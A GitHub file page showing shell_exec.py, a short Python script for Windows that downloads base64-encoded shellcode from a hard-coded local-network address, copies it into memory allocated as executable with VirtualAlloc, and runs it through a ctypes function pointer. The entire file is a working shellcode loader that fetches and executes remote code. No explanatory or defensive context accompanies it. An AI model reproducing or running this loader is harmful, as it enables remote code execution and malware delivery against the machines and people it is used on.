-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell_exec.py
More file actions
45 lines (33 loc) · 1.03 KB
/
shell_exec.py
File metadata and controls
45 lines (33 loc) · 1.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from urllib import request
import base64
import ctypes
kernel32 = ctypes.windll.kernel32
def get_code(url):
with request.urlopen(url) as response:
shellcode = base64.decodebytes(response.read())
return shellcode
def write_memory(buf):
length = len(buf)
try:
kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t
)
kernel32.RtlMoveMemory(ptr, buf, length)
GetLastError = kernel32.GetLastError
print(GetLastError)
return ptr
except Exception as e:
print(f'Error: {e}')
def run(shellcode):
buf = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buf)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
if __name__ == '__main__':
url = 'http://192.168.1.145/shellcode.bin'
shellcode = get_code(url)
run(shellcode)